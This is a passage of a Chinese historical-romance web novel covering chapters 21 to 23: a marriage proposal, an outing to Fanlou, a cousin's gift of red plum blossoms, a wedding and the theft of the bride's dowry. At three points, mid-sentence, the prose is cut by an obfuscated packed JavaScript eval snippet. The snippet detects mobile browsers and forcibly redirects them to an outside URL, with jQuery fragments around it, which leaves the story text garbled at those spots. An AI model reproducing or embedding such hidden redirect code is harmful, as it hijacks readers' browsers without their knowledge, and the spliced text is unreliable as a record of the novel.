李夫人立时像得了宝,一把拉住曹玉书的手,上上下下仔细端详,嘴里像抹了蜜:“啧啧啧,瞧瞧这通身的气派,这眉眼,这身段,我活了半辈子,汴京城里也少见这么标致齐整的可人儿。越看越爱,越看越稀罕!”那热络劲儿,跟见了亲闺女似的。 老太太忙道:“快屋里请,屋里暖和,这外头风刀子似的。” 众人进了暖阁,丫鬟奉上热腾腾的香茶。 李夫人捧着茶盏暖手,叹道:“说起来,咱们两家隔着山水,走动不便,疏远了这些年。可我这心里头啊,一直惦念着老太太您,更惦念着咱们玉姐儿。 这不,犬子近来在汴京公干,我便厚着脸皮跟了来,专程来瞧瞧您老人家,也看看我那未过门的儿媳妇。” 宋夫人心里冷笑,面上却不动声色:“李夫人说哪里话。既然植哥儿也在汴京,怎不叫他一同过来?都是自家人,也让我们见见。” 李夫人端起茶盏抿了一口,才笑道:“嗐!他一个外头的爷们儿,粗手笨脚的,来搅扰咱娘们儿说话做甚?没的添乱。” 宋夫人心中疑窦更生,追问道:“十几年不见,植哥儿想必也出息了,可曾娶妻?” 李夫人一听这话头,立刻来了精神,放下茶盏道:“可不就是为了这事嘛。我那孽障,至今还是个光棍汉,高不成低不就的。 这不就想起老国公爷当年金口玉言,给咱们玉姐儿和植哥儿定下的好姻缘。我想着,玉姐儿如今也到了年龄,花朵儿一般的年纪,正是好时候,咱们不如趁热打铁,把这桩天作之合的好事给定下来,早早办了,也了却咱们做父母的一桩心事。” 宋夫人试探着问:“听闻植哥儿自少好道,不乐婚宦,可有此事?” 李夫人脸上的笑容僵了一瞬,摆着手道:“哎哟哟,好姐姐,你这是打哪儿听来的混账话?作不得真。什么不喜婚配,那是没遇上可心的人儿,至于修仙访道嘛…不过是个雅好。谁还没点子癖好?无伤大雅,无伤大雅的。” “那不知植哥儿如今在何处高就?做些什么营生?”宋夫人紧追不舍地问。 李夫人挺了挺腰板,脸上露出几分得色:“托祖宗的福,靠着老侯爷当年留下的一点恩荫,犬子倒也混了个出身。如今在宫里头当差,做了个侍奉官儿。虽说官儿不大,好歹是天子近臣,体面着呢。” 这边晚书同四姐玉书实在待的无聊,懒得听她们大人闲话,便找了个借口退出来。 从里间掀帘子出来,见曹舆坐在廊下矮凳上,拿块细布,蘸了油,细细擦拭他那杆红缨枪的枪头子,擦得锃亮。红缨子也捋得顺溜,在日头底下红得晃眼。 玉书见了,抿嘴一笑,脚下生风小跑过去,趁他不备,一把将枪夺在自己手里,掂了掂,娇叱一声:“看招!”便使了个花架子,回身一搠,耍了段回马枪的架势。 曹舆也不恼,拍着大腿笑道:“好个泼辣丫头。恁般年纪,怎地就爱弄这些刀枪棍棒?女儿家绣绣花儿、扑扑蝶儿不好?” 曹玉书将柳眉一挑,把枪朝他怀里一掷,哼道:“我还想跟你上阵杀敌呢,若是教母亲知晓我这心思,怕不要气得背过气去。”说着,自个儿倒先笑了。 曹舆笑着起身,伸出指头在她脑门上轻轻一弹,又转头看向一旁站着的晚书,道:“今日天光正好,闷在家里作甚?不如随哥哥去城外跑马射猎,散散心?” 曹晚书听了,蹙眉细声道:“骑马?我……我不太会。” 曹舆一拍胸膛,豪气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239394|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“不妨事,哥哥教你。保管把你扶上马背,稳稳当当。” “哟,太阳打西边出来了?”玉书在一旁撇嘴笑道,“二哥如今倒像个人样儿了,不像从前,整日价只晓得在外头惹是生非,叫爹娘操碎了心。” “死丫头,找打!”曹舆作势要拧她的嘴,自己也笑了,转念又道,“罢了罢了,骑马也费力气。要不……去樊楼耍耍?许久没去,倒想念他家厨子的好手艺了。” 曹晚书一听去樊楼,眼睛登时亮了,拍手笑道:“这个好,这个好!就去樊楼!” 玉书指着她,笑得花枝乱颤:“我就知道,五丫头哪是想去耍,分明是馋虫勾了魂,惦记着樊楼里的吃食呢,哈哈…” 三人说说笑笑,便往樊楼而去。 及至登上顶楼雅间,推开雕花窗扇,凭栏下望,但见汴梁街市,车如流水马如龙,尽收眼底。 此时天色向晚,暮色四合,沿街铺面、楼阁檐角,早已高高挂起无数大红灯笼,映得碧瓦金檐流光溢彩,更显得樊楼富贵逼人,恍若仙宫琼宇。 玉书无意间瞥见墙上挂着一幅新裱的画像,便走近了细瞧。画上那人身穿月白圆领袍,气度威严。她看了旁边题款,才知画中是当朝天子。 正瞧着,跑堂的小二托着个漆盘,吆喝着进来:“客官,您点的糟鹅掌、煨鹿筋、鲜虾脍、并时新果子来喽,请慢用。咱家还有窖藏的上好眉寿酒,那真是琼浆玉液,透瓶香,几位官人小娘子,可要筛上一壶来尝尝?” 曹舆摆摆手:“酒便罢了。” 曹玉书却道:“上回尝过,味儿倒醇厚。小二,筛一壶眉寿来。” 这时雅间门口走过一行人,打头一位少年郎,约莫二十上下,身穿月白云纹圆领袍,腰束玉带,面如冠玉,目似朗星,端的是风度翩翩。 玉书一眼瞥见,心头一跳,忙用胳膊肘使劲捣了捣正低头看菜的曹晚书,压着嗓子急道:“五丫头,快瞧,那个人、那个人像不像方才墙上画像里的官家?” 曹晚书被她捣得生疼,顺着她目光望去,只见那少年郎侧影,果然眉目间与画像有几分神似,不由得也看住了,喃喃道:“是…是有些像。” “我的天爷,该不会真是官家吧?” 曹舆嗤笑一声,端起茶碗啜了一口:“官家何等尊贵,岂会轻易来这喧闹地方,妹妹莫要胡思乱想。” 他话刚出口,自己猛地一顿,眼睛瞪得溜圆,看向曹玉书:“慢着!你……你该不会是瞧上刚才那小白脸了吧?” 曹玉书被他道破心思,粉面飞红,又羞又恼,跺脚道:“你浑说什么!我……我亲事都定了李家!再胡说,看我不撕了你的嘴!” 正闹着,曹舆眼角余光扫到一人,忙站起身,堆起笑迎上去:“哎哟,这不是二表哥么,真真是巧了。” 那边被唤作二表哥的,正是安亭蕴。 21. 赠花、动情 安亭蕴正与他人凭栏闲话,忽闻身后有人唤道:“二表哥!” 他回头一看,见曹舆笑吟吟立在廊下,身后还跟着曹家两位表妹。 安亭蕴面上顿时浮起笑意,拱手道:“舆哥儿,你不是在边军效力么,怎生回京来了?” 曹舆紧走几步上前,压低声道:“嗐,原是随军入京公干的,交割了军务,兵部那边给了几日假,便赶紧家去磕个头。”说着又笑问,“二表哥今日也来樊楼,是同窗宴饮?” 安亭蕴答道:“与几位同年小聚。”说话间,目光越过曹舆,落在后面跟过来的曹晚书身上。 许久不见,这小表妹出落得愈发标致。乌云般的秀发挽着时新髻儿,面容白皙,腮边透着一抹淡淡的红晕。 安亭蕴心头不由得一荡,像被鹅毛轻轻搔过一般。 曹晚书与曹玉书走到近前,敛衽行礼,齐声道:“二表哥安好。” 安亭蕴忙还礼不迭,正要说话,隔壁雅间门帘掀起,一个俊逸男子探出半个身子唤道:“楚尧,快进来呀,酒都温好了。” 楚尧是安亭蕴的字。 玉书抬眼仔细一瞧,说话的是方才在廊下远远见过一眼的少年郎。如今正面相对,更觉丰神俊朗,通身的气派不凡,绝非寻常富贵人家的子弟。 安亭蕴心头一凛,忙应道:“就来,赵兄。”将险些脱口而出的“官家”二字,硬生生咽了回去。 曹舆见状,连忙拱手道:“表哥既有贵客,小弟就不叨扰了,改日再叙。”说着回头招呼两位妹妹,“咱们且往那边去,莫耽误了表哥的正事。” 安亭蕴也拱手还礼,目光在曹晚书脸上流连了一瞬,方道:“改日定当登门,给老太太请安,拜见舅舅、舅母。” 是夜,曹府内宅。 曹望刚在丫头服侍下洗了脚,拿块干布巾子擦着。 柳姨娘挨着床沿坐了,手里绞着一方帕子,一脸愁容地絮叨起来:“老爷,大姐儿嫁了人,四姐儿的亲事也定了李家,只等吉日。如今就剩咱们晚丫头,眼瞅着都及笄了,这终身大事还没个着落。再这么耽搁下去,好人家都被人挑拣尽了。我这两日眼皮子直跳,心里头七上八下的,总不踏实。” 曹望被她念得心烦,将布巾往盆架上一搭,没好气道:“先前不是与安亭蕴说定了么?待他立稳了根基,自然就来提亲了。晚书是幺女,上头姐姐还没出阁呢,你整日价到底急个什么劲?” 柳姨娘声音越发急切,挪了挪身子,凑近了些:“我能不急么?您想想,安亭蕴近来书信都稀少了,别是把当初的许诺忘到九霄云外去了罢? 男人家的心,最是靠不住!再者说,如今正值国丧,四姐儿那头的亲事,夫人还说要等过了百日再议吉期呢。咱们晚丫头的事,若不早些定下来,等国丧满了,好人家可都被人抢光了!” 曹望被她聒噪得火起,他前夜因公务熬了个通宵,今日又忙了一整天,此刻眼皮子直打架,只想倒头就睡,偏生这妇人絮叨不休。 他皱着眉道:“安家哥儿是正经读书人,前程远大,岂是那等背信弃义之徒。再说了,便是没有他,难道晚书就嫁不出去了?一家有女百家求,前日夫人不还提起,她娘家侄儿冯准,这孩子用功上进,还中了举人呢,家底也殷实得很。你少在这里絮叨,让我清静睡一觉。”说罢,吹熄了桌上的灯烛,翻身朝里,扯过锦被蒙头便睡。 柳姨娘被他劈头盖脸一顿抢白,又见他动了真怒,吓得噤了声,只敢悄没声地爬上床,挨着他躺下,还是翻来覆去睡不着。 没过几日,安亭蕴备了厚礼,登门拜访曹家。 他给曹老太太带的是上好的山东阿胶、长白山老参,并几匣子滋补膏方;给几位表妹的则是时新的苏杭绸缎,精巧宫花,还有几匣子樊楼新出的细巧点心。门子报了进来,曹望连忙叫人开了中门,亲自迎了进去。 曹老太太坐在上房暖阁的炕上,炕桌上摆着几碟子细点。她招手唤安亭蕴近前,拉着他的手细细端详,叹道:“好孩子,瞧着清减了些。你母亲身子骨可还好些了?上回听人说她又犯了咳疾,我这心里头一直惦记着。” 安亭蕴眼中透出一丝黯然,低声道:“回老祖宗的话,前年略好些,谁知今年开春以来,旧疾复发,竟是愈发沉重了,汤药总不见大好。我日夜悬心,只恨不能替了母亲。” “唉……”老太太拍着他的手背,长叹一声,“怎就落下这缠人的病根儿!苦了你,也苦了她自个儿。你母亲年轻时也是极爽利的人,如今这般,叫人心疼。” 安亭蕴强忍心绪,又道:“母亲近来思乡情切,总念叨着要回山东老家去养着。兄长和妹妹已在来京的路上,我打算等他们到了,便奉母亲回济州故里,也好让她老人家在熟悉的地方,安心颐养天年。” 宋夫人正坐在一旁喝茶,听了这话,忙凑过来接口道:“回去也好,落叶归根,老家水土养人,她心里也舒坦些。只是你离得就远了,不能常在膝前尽孝。” “舅母说的是。”安亭蕴点头称是。 宋夫人眼珠转了转,脸上堆起笑,试探着问道:“蕴哥儿啊,你是个念旧重情的好孩子。当年你在这屋里说的话,可还记得?” 她一边说,一边拿眼瞟了瞟坐在下首低头摆弄衣角的曹晚书。 安亭蕴岂会不明其意,微微一笑,目光也似无意般扫过曹晚书的侧脸,道:“舅母放心,甥儿许下的诺言,字字句句都刻在心上,岂敢或忘?” 他话锋一转,看向坐在另一侧的曹玉书:“只是玉书妹妹的亲事尚在眼前,甥儿若先一步与晚书妹妹定下,也怕冲撞了玉书妹妹的好事。” 宋夫人听了这话,连连点头:“蕴哥儿虑得是,虑得是。 安亭蕴续道:“况且甥儿蒙官家隆恩,下月便要赴任兴化府,担知州之职,兼总督一方河务。这是新君登基后的头一批简放,甥儿不敢怠慢。” 宋夫人听他说前面那些话,心里便有了底,听完他后面说的这些,便更加兴奋了起来,连忙问:“这一去得几年光景?” 安亭蕴沉吟道:“河工事务繁杂,非一朝一夕之功,估摸着总得三年上下。” “三年…?”宋夫人与坐在主位的曹望不约而同地对视了一眼。 宋氏眼中是既喜其前程远大,又忧其时日之长。 曹望倒是从容地捋着胡须,露出赞许的笑容:“好!自古一代帝王之兴,必有一代名世之臣佐之。你此去地方,切记要上体天心,下恤民情,为官一任,便当造福一方。” 安亭蕴起身躬身应道:“甥儿谨记舅舅教诲。”直起身时,目光又不由自主地瞥向曹晚书。 老太太看在眼里,心里明白了几分,只是含笑不语。 时值隆冬,窗外雪花纷飞,屋内炭火正旺,熏得暖意融融。 众人先是议论些朝廷新政,后又说到明年春闱。闲话一阵,日影西斜,各人推说有事,陆续散去。最后暖阁里只剩安亭蕴与曹晚书二人,并几个伺候的丫鬟。 曹晚书见室内陡然清静,心下不免局促,低头抠着手指头,也想找个说辞离开,但一想安亭蕴是客,若把客人孤零零的撇在一旁,也太失礼了一些。 安亭蕴抬眼望来,率先开口道:“五妹妹近来可安好?” “托表哥的福,一切都好。”曹晚书答着,一时又无话。 偏生二人又是相对而坐,目光不知该落往何处。 他见曹晚书羞怯,微微一笑,目光转向案上青瓷瓶内插着的花木:“这花不错。” 得到夸奖,曹晚书心头一喜,笑着说道:“这是我插的花。” “只是...”安亭蕴凝神细观,“这绿叶红果略显累赘,尤以这片绿叶为甚。” 曹晚书依言将多余枝叶除去,只留一株红叶伴枯木。再观之,果然意境陡升。 “这般一改,倒显出几分孤高清冷来。” 安亭蕴看着她笑了笑,问:“五妹妹喜欢插花吗?” “不过消磨光阴罢了。”她垂眸浅笑,打趣他,“比不得表哥金榜题名,建功立业。” 他温和地笑道:“妹妹过谦了。我家里有株红梅,今年开得极盛。若妹妹不弃,可折几枝相赠。” “真的吗?我正想找些红梅呢,只是家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248641|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的红梅开的不太好,挑来挑去没有几枝能用的。” 她清澈的眼睛盯着他瞧,安亭蕴耳朵一红,呆呆地久不作答。 这时,门帘子突然一掀,曹兰书笑盈盈地进来,看见安亭蕴在座,笑道:“二表哥来了?我说今儿个怎么喜鹊在枝头叫呢。” 安亭蕴忙起身见礼。 兰书摆摆手,自去挨着曹晚书坐下,悄悄捏了捏她的手,附耳低声道:“可巧我来了,没扰了你们的好事罢?” 曹晚书羞得满面通红,拧了她一下,不敢言语。 又坐了一回,安亭蕴起身告辞。 曹望送至二门,宋夫人和几位女眷送到穿堂。曹晚书站在廊下,望着他远去的背影,心头忽生一丝莫名情愫,说不上是什么滋味,只觉得心里空落落的。 待到第二日,天才蒙蒙亮,果子便喜滋滋地抱着一盆开得正艳的红梅走进来,胳膊上还挎着个大竹篮子,篮子上面盖着一块青布。她把花盆放在桌上,又将篮子放下,掀开布,里面整整齐齐摆着七八个青釉瓷瓶,还有各色花枝,有红梅、腊梅,还有几枝不知名的带绿叶的枝条。 “姑娘,你看!这些都是安公子一早就托人送来的。”果子笑得眼睛眯成一条缝,“安公子还说,这些花够姑娘用一阵子的了。送东西的小厮说,他家公子特意吩咐,要大早送来,怕晚了花儿不鲜。” 曹晚书心里一热,拿起一个青釉瓷瓶看了半天,釉色青翠欲滴,不由得轻声道:“这青釉瓷瓶色泽真好。” 玉书笑着走进来,瞧见这场面,惊讶道:“呀!从哪儿弄的这么多花儿?”她说着凑到篮子前,拿起一枝红梅闻了闻,“这梅香得这样好,定是好品种。” 曹晚书答道:“昨儿二表哥不是来了么,就聊起插花的事情,他答应送我红梅。我以为只是口头上说说,谁承想他竟记在心里,不但送了整盆梅花来,还搭上这些瓶儿罐儿的。” 玉书抿嘴一笑,打趣道:“哟,二表哥倒是个有心人。我瞧着他这回打量你的眼神,可与从前大不一样了。昨儿在暖阁,他那眼睛,恨不能长在你身上。”说着便学安亭蕴的样子,痴痴地盯着曹晚书看。 曹晚书羞得追着要打她,姐妹俩笑闹了一阵。 且说宋夫人这几日可真是忙坏了。既要张罗曹玉书的嫁妆,又要与李家商议国丧过后办喜事的种种事宜。李家那边也知礼数,特意送了信来,说一切但凭亲家吩咐,只等国丧满了,便择吉日迎娶。宋夫人心里一块石头落了地,越发打起精神操办起来。 老太太那边也遣人送来了添箱的礼:赤金宝钗花钿一个,赤金嵌翡翠滴珠一对,还有一对白玉镯子,说是当年自己陪嫁的,如今给了玉书。此外还有田产铺子的契纸两张,人参、丹参、何首乌、灵芝等药材各若干,装了满满一匣子。宋夫人一一登记在册,心里盘算着到时候宴席要摆多少桌,请哪些亲戚,忙得脚不点地。 这日晚间,曹望公务完回来,宋夫人便与他商议:“玉姐儿的嫁妆单子我理出来了,你瞧瞧可还妥当?李家那边送了聘礼来,倒也丰厚,咱们这边不好太简薄了。” 曹望接过单子看了一遍,点头道:“也罢了。只是老太太给的那些东西,你仔细收着,莫要弄混了。还有,安亭蕴那边,你可探了口风不曾?” 宋夫人笑道:“还用你说?我早瞧出来了,安亭蕴对咱们晚丫头,那是上了心的,你没见他昨儿个那眼神。只是他要去兴化赴任,这一去三年,晚丫头等得等不得?再者说,他母亲那个病,也不知怎样。” 曹望沉吟道:“安亭蕴是去外任做官,不比在京里混日子。三年期满,回来必有升赏。到时候晚丫头也不过十八九岁,正当年纪。至于他母亲,那也是没法子的事,谁家没个生老病死的。” 宋夫人点头道:“我也是这么想。晚丫头是柳姨娘的心头肉,这事得跟她说一声,免得她整日价瞎操心。” 曹望道:“很是。你明日跟柳姨娘说一声,叫她安下心来,莫要再絮絮叨叨的。我这几日被她念得头疼。” 窗外月色溶溶,曹府内宅里,各人怀着各人的心思,渐渐沉入梦乡。 22. 当场捉赃 很快就要到了曹家四姑娘,曹玉书出阁的日子。 因先帝薨逝,举国服丧,凡婚嫁之事,一概搁置。如今国丧虽已除了,到底余韵未散,是以曹、李两家商议定了,婚事便从简办理,不可过于张扬。 饶是如此,曹府上下也忙了半月,扫洒庭院,张灯结彩,虽不敢用大红绸子扎得满处都是,却也换了绛色的,远远瞧着,倒有几分喜气。 曹晚书在屋里坐了半日,听着外头隐隐约约传来的说话声,比寻常人家办喜事冷清了许多,心里头倒有些说不出的滋味。 她自从来到这本书里,与四姐姐在一处长大,比亲姐妹还亲上几分。 眼瞧着四姐姐要出门子了,往后便是人家的人,再不能像从前那般,一处顽耍,一处说梯己话儿,心里便酸溜溜的,很不受用。 因想着,好歹得送四姐姐些什么。她自己的梯己原不多,翻来覆去寻了半日,只寻出一件貂裘来,还是年下舅舅来时给她的,毛色油亮,轻软厚实,她素日里连摸都舍不得多摸一下,只压在箱底,时不时拿出来瞧瞧。 如今拿出来,虽有些舍不得,但想着是给四姐姐的,便也舍得下了。 除却貂裘,还有一对鸳鸯枕。这鸳鸯枕原是冷元子绣的底子,冷元子是针线房上最巧的丫头,绣出来的鸳鸯,活灵活现的,跟凫在水上的一般。 晚书只接过来,沿着绣好的纹路,细细地缉了一圈边儿,也算是她的一份心意了。 看看日头,估摸着四姐姐那边也该清闲些了,便抱着东西,往曹玉书屋里来。 曹玉书正坐在窗前发呆,打扮得齐齐整整,一头乌油油的青丝挽了起来。只是眉眼之间,不见多少喜色。 听见脚步声,回过头来,见是曹晚书,便笑道:“五妹妹,你来得正好。我正闷得慌呢,你来陪我说说话儿。” 曹晚书将东西放在桌上,先不说旁的,只道:“四姐姐,这是年下舅舅送我的貂裘,我一直舍不得穿,今儿拿来给你添妆。还有这对鸳鸯枕,是我自己缝的,虽不好,也是我的一点子心意。祝你和四姐夫恩恩爱爱,白头偕老。我没有多少值钱的东西,你别嫌弃。” 曹玉书伸手摸了摸貂裘,又拿起那鸳鸯枕细细看了一回,点头笑道:“这样好的东西,我怎会嫌弃?只是看着这枕头,我方觉着,咱们是真的都大了。 一晃儿的工夫,你也要备嫁妆,我就要出门子,再不能像小时候那般,一处抓子儿,一处放风筝,一处淘气,叫母亲骂了,又一处抹眼泪了。”说着,秀眉微微蹙了起来,眼里头汪着些泪光。 曹晚书听了这话,心里也是一酸,强笑道:“是呢,咱们都长大了。” 玉书瞧她这副模样,倒先忍不住笑了,拿帕子拭了拭眼角,道:“你别只顾着替我难过,你也快了呢。听母亲说,爹爹有意将你许给二表哥。” 曹晚书一怔,道:“啊?” 玉书道:“当年二表哥金榜题名后,这事儿便隐隐约约定下来了。你竟不知道么?” 曹晚书摇摇头,她真是一丝儿也不知道。 只是前些日子表哥来时,她在一旁听着他们说话,倒听出些意思来。 且素日里也常听人说起,自己将来的姑爷,是宋夫人的亲侄子,叫做冯准的。 她便问道:“我只恍惚听说,爹爹要把我嫁给母亲的亲侄子冯准。可母亲姓宋,怎么她的侄子,倒姓冯呢?” 曹玉书便与她分说:“这你就不知道了。母亲原本是姓冯的,只是极小的时候,外祖母便与外祖父和离了,带着母亲改嫁到宋家,这才改了姓宋的。 虽改了姓,可冯家的亲戚,母亲一直都没断过来往。那位冯准表哥,我小时候见过一回的。前些日子还听母亲说,他和二哥哥一道进了贡院考试呢。若论品性,是信得过的,你往后嫁了他,断也不会受委屈。” 曹晚书听了,脸上便有些热热的,忙岔开话道:“也不知二哥哥这回考得如何。李姨娘为了二哥哥能够金榜题名,整日里烧香拜佛,磕头都磕出茧子来了。” 玉书道:“二表哥说了,以二哥哥的文采,是不愁考不上的。”她心里也盼着曹辕能中。 若曹辕能金榜题名,三哥曹舆在军中又立了功,底下还有个小弟弟曹轼,听说书念得也好,如此一来,曹家何愁不兴旺起来? 姐妹两个正说着梯己话儿,忽听外头有人敲门,是邹妈妈的声音:“四姑娘,天不早了,夫人吩咐,该回去歇着,养足精神,明儿好打扮。”因着国丧刚过,她也不敢说什么漂漂亮亮的吉利话。。 玉书应道:“知道了,就来。”又对曹晚书道,“妹妹,你先回去罢,明儿再来瞧我。” 曹晚书便起身告辞。 次日,天光晴好,倒是个难得的好日子。 天才蒙蒙亮,曹玉书屋里便忙开了。 邹妈妈拿着把金梳子,站在曹玉书身后,一面替她通头,口里念着那吉祥话儿,也不敢高声,只低低地道:“一梳,梳到尾;二梳,白发齐眉;三梳,梳到儿孙满地。” 曹玉书坐在镜前,由着她们摆布。开脸,梳头,戴上凤冠,穿上嫁衣。镜子里的人,渐渐变得不像自己了。 外头没有炮竹声,也没有敲锣打鼓的响动,只偶尔传来几声宾客低低的说话声。 国丧刚过,百日之内不得举乐,是以亲事虽办,却不敢张扬。 前院里,四姑娘的嫁妆一抬一抬地摆了出来,朱漆箱子,黄铜锁扣,整整齐齐地排了半条街。 箱笼里头,装的是各色绸缎、四季衣裳、头面首饰、家具摆设,满满当当的,都是宋夫人这几年来一点一点攒下的,只为给亲生女儿撑一撑脸面。 曹轸和曹轴两兄弟,也混在人群里头看热闹。 这两位公子原是王夫人的儿子,素日里不务正业,只爱赌钱吃酒,这会子站在那儿,眼珠子却不在那些箱笼上,只滴溜溜地往箱子里头瞧。 一抬抬的箱笼,有的盖得严实,有的却敞着盖儿,专给人瞧的。 里头一锭锭的雪白银子,一支支的赤金钗子,一颗颗的滚圆珠子,直晃得他眼都花了,心里头便痒痒起来,跟猫抓的一般。 他拿胳膊肘子捣了捣旁边的曹轴,用眼神往那一抬装满了珠宝的箱子努了努。 曹轴顺着他的目光一看,登时会意。 这两兄弟,向来是蛇鼠一窝的,干这种事也不是头一回了。 府上的人虽多,但来来往往的,谁也不会留心他们两个。曹轴便往旁边站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259105|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了站,装作看别处,实则是替他望风。 曹轸瞅着个空子,挨挨蹭蹭地挪到箱子跟前。 他趁着没人往这边看,大手往箱子里头一捞,也顾不得捞着的是什么,只觉入手滑腻,便往怀里塞。又捞一把,又塞进去。 贪念一上来,便什么也顾不得了,只恨爹娘少生了两只手。 曹轴在外头瞧着,眼瞅着二门上有人出来,像是曹舆的身影,唬得他连忙给曹轸递眼色,又是咳嗽,又是努嘴的。 可曹轸此刻正捞在兴头上,眼里只有那些金珠宝贝,哪里瞧得见他的暗号? “曹轸!你鬼鬼祟祟地做什么!”曹舆一声低喝,跟半空里打了个闷雷一般,几步便蹿了过来。 曹轸吓得一个激灵,手一抖,怀里揣着的东西稀里哗啦掉出来几件,滚落在地上,有金镯子,有珠串子,还有几块碎银子。 曹舆低头一看,登时怒不可遏,眼睛都红了,一把揪住曹轸的衣领,挥拳便打,一拳擂在他脸上,咬牙低声骂道:“下作东西!这是我妹妹的嫁妆,你也敢偷!” 曹轸哪里禁得住他这一拳,脚下一个踉跄,摔倒在地。 这一摔,怀里头揣着的东西,哗啦啦洒了一地,金的金,银的银,珠的珠,翠的翠,铺了一小片。 来往的宾客见了,都唬了一跳,纷纷驻足观看,交头接耳地低低议论。 晚书和兰书听见动静,也赶忙跑了过来。 曹兰书一见是她那两个不成器的哥哥,脸先臊红了半边。 晚书一看这光景,心里头雪亮,忙上前拉住曹舆的胳膊,急道:“三哥哥,快别打了。府上都是客,叫人瞧见了,传到外头去,岂不笑话咱们曹家?有什么事,禀明了老太太,自有老太太做主,何苦在这里动粗?” 曹舆气得呼呼直喘,一脚踩在曹轸肚子上,不肯松劲,压低嗓门嚷道:“五妹妹你起开!我今儿非得打死这个混账东西!” 晚书一面蹲下身,将洒落的珠宝一件件捡起来,放回箱子里,一面劝道:“三哥哥,今儿是四姐姐大喜的日子,你便是打死他,又能如何?反倒闹得大家都不痛快。老太太最疼四姐姐,难道还会轻饶了他们不成?” 这话倒提醒了曹舆。 他看了看四周那些指指点点的人,又想了想自己妹妹今儿出门子,确实不宜闹出人命官司来。只得狠狠瞪了曹轸一眼,收了脚,往后退了一步,胸口气得一起一伏的。 兰书脸涨得通红,连连替曹轸赔不是,说着软话。 曹舆瞧着她,摇头道:“兰妹妹,又不是你的错,你何苦替他赔罪?” 说着,又转过身,拿眼瞪着刚从地上爬起来的曹轸,和躲在一边的曹轴,恨声道:“我这就去回明了老太太,看老太太怎么发落你们!” 曹轴见他发怒,心里也怕,忙上前一步,涎着脸道:“我哥哥他,他是吃醉了酒,发酒疯呢,不是成心的。咱们好歹是一个府里住着,打小儿一处玩的,你就饶了他这一遭罢,别告诉老太太了。” 他不提“一处玩”还好,一提这话,曹舆更是气往上撞。 他想起从前自己不成器时,跟着这两兄弟吃喝玩乐,为非作歹,险些被他们带累坏了名声,心里便恨得什么似的。 23. 新郎官被吓跑 李植骑在马上,面色阴沉,一双剑眉紧紧锁着,眼望着前头,又似什么也没望进去,活脱脱是赴刑场的模样。 李夫人见他这般,急得不行,趁着众人不备,忙凑上前去,扯了扯他的衣袖,低声道:“我的儿,今儿是你大喜的日子,你这般愁眉苦脸的,叫人瞧见了,算怎么回事?曹家四姑娘,我亲自相看过的,生得柳眉杏眼,行动举止也端庄,配你原是绰绰有余。你总归是要娶妻生子,难不成,你为了你那些丹啊道啊的,真个一辈子不娶媳妇?” 李植听了这话,嘴角方扯出一丝苦笑:“儿子早已说过,不愿娶亲。母亲偏要去曹家说媒。如今木已成舟,还说这些做甚么?” 李夫人心里头又急又气,当着这许多人的面,又不好发作,只得压下性子,催促迎亲的人快些走。 曹府这边,宋夫人正急得在二门里打转,听得远远传来动静,悬了一早上的心,这才稍稍放下些。忙命人去瞧,果然是迎亲的队伍来了。 一时,曹玉书由邹妈妈扶着,从闺房出来。穿着嫁衣,头上戴着沉甸甸的凤冠,脸上敷了脂粉,越发衬得人如芙蓉一般。 她先向父亲曹望、母亲宋夫人行了大礼,又抬头看了看这住了十几年的院子,眼眶里便汪了一汪泪。 “四姑娘,走罢。”邹妈妈心里也酸,面上却笑着,一步一步扶着她往门外去。 到了大门外,李植已下了马。他牵过曹玉书的手,引着她走到马车前,替她掀开了帘子。 曹玉书低着头,只看见他一只修长的手,和大婚的袍袖。 正要上车,一个人抢上前来。 曹舆拦住李植,也不顾旁人的眼光,沉声道:“我妹妹自幼娇弱,在家时,我们连句重话都舍不得说她。你如今娶了她去,若敢欺负她,可别怪我不客气!” 李植愣了愣,抬起眼来看了看他,嘴唇动了动,终究一句话也没说。 曹舆等了半晌,不见他言语,心里虽恼,也无可奈何,只得退后一步,眼睁睁看着马车辚辚地去了。 送走了新娘子,客人也渐渐散去,热闹了一日的院子,慢慢安静下来。 祠堂里还亮着灯。 曹老太太一脸威严地坐在上首椅子上,身板挺得直直的,俯视着地上跪着的曹轸、曹轴二人。一个低着头,一个东张西望。 “好个没王法的东西!”老太太将手里的戒尺往案上重重一拍,吓得曹轴浑身一哆嗦,“连亲妹妹的嫁妆都敢偷摸!” 她喘了口气,转向站在一旁的曹望:“你大哥去得早,留下这两个孽障。你是做叔叔的,今日就交给你管教。” 曹望应了一声,伸手去接戒尺。 